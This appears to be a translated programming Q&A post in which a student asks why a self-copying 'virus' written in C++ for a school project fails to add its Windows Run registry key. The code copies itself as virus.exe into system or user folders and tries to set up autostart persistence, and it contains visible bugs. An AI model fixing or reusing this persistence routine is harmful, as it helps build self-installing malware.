学校のプロジェクト用に実験的なウイルスを書いています。それは自分自身をコピーし、自分自身を開始する必要があります..私はこの記事から始めました、そして私はこれに来ました:
#include <windows.h>
#include <iostream>
#include <tchar.h>
#include <stdio.h>
using namespace std;
void main()
{
wchar_t system[MAX_PATH];
wchar_t user[MAX_PATH];
wchar_t pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
DWORD bufSize = MAX_PATH;
GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
std::wstring s(system);
s += std::wstring(L"\\virus.exe");
WCHAR* sysfull = &s[0];
if(!CopyFile(pathtofile, sysfull, false))
{
sysfull = L"C:\\Users\\Public\\virus.exe";
if(!CopyFile(pathtofile, sysfull, false))
{
GetUserName(user, &bufSize);
std::wstring u(L"C:\\Users\\");
u += std::wstring(user);
u += std::wstring(L"\\Documents\\virus.exe");
sysfull = &u[0];
CopyFile(pathtofile, sysfull, false);
}
}
HKEY hKey;
bool t = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
bool t1 = RegSetValueEx(hKey, L"Writing to the Registry Example", 0, REG_SZ, (const unsigned char*)sysfull, sizeof(system));
RegCloseKey(hKey);
MessageBox(NULL,L"Hello",L"Messagebox Example",MB_OK);
}
問題は、HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run の下の regedit を見ると、新しいキーがないことです。RegOpenKeyEx と RegSetValueEx は true を返し、すべて正常に動作しているように見えますが、そうではなく、その理由がわかりません。
私はWindows 8でVS12を使用しています。